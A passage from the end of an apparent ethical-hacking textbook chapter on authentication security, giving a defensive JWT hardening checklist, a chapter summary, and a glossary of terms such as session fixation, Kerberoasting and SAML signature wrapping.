| Token in URL | Use cookies or Authorization headers only | High |
JWT Security Checklist
- [ ] Reject
"alg": "none"explicitly - [ ] Maintain an allowlist of accepted algorithms
- [ ] Validate all standard claims (exp, nbf, iss, aud)
- [ ] Use asymmetric algorithms (RS256/ES256) for public-facing tokens
- [ ] Validate
jku/x5uURLs against strict allowlist - [ ] Sanitize
kidparameter against injection - [ ] Implement token revocation (blacklist or short-lived tokens + refresh)
- [ ] Store signing keys securely (HSM or secrets management)
21.11 Summary
Authentication and session management represent the most critical attack surface in web applications. In this chapter, we examined how attackers exploit weaknesses across the authentication lifecycle — from initial credential verification through session maintenance, OAuth delegation, JWT token handling, MFA implementation, and SSO integration.
The key insight is that authentication security is systemic: a single weak link undermines the entire chain. Strong passwords mean nothing if the session token is predictable. Robust MFA is useless if the application allows it to be skipped. Properly implemented JWT signature verification is irrelevant if the none algorithm is accepted.
As ethical hackers, we must test authentication comprehensively, examining not just individual mechanisms but the interactions between them. The techniques covered in this chapter — credential attacks, session manipulation, OAuth exploitation, JWT forgery, MFA bypass, and SSO attacks — form the foundation of authentication security assessment.
In the next chapter, we turn to server-side attacks, examining how attackers exploit trust relationships between application components to access internal resources, execute arbitrary code, and exfiltrate sensitive data through SSRF, XXE, deserialization, and template injection vulnerabilities.
Key Terms
| Term | Definition |
|---|---|
| Bearer Token | An authentication token where possession alone grants access |
| Credential Stuffing | Automated login attempts using breached username/password pairs |
| FIDO2/WebAuthn | Phishing-resistant authentication standard using cryptographic keys |
| JWT (JSON Web Token) | Compact, URL-safe token format for transmitting claims as JSON |
| Kerberoasting | Extracting and cracking Kerberos service ticket hashes |
| MFA Fatigue | Overwhelming a user with repeated MFA push notifications |
| OAuth 2.0 | Delegated authorization framework for third-party access |
| OIDC | OpenID Connect; identity layer built on top of OAuth 2.0 |
| PKCE | Proof Key for Code Exchange; prevents authorization code interception |
| SAML | Security Assertion Markup Language; XML-based SSO protocol |
| Session Fixation | Forcing a known session ID onto a victim before they authenticate |
| Session Hijacking | Stealing a valid session token to impersonate an authenticated user |
| TOTP | Time-based One-Time Password; generates codes using shared secret and time |
| XSW | XML Signature Wrapping; attack against SAML signature verification |
Next Chapter: Chapter 22: Server-Side Attacks